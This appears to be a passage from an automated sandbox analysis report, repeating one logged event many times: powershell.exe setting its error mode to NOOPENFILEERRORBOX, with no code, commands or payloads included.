        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
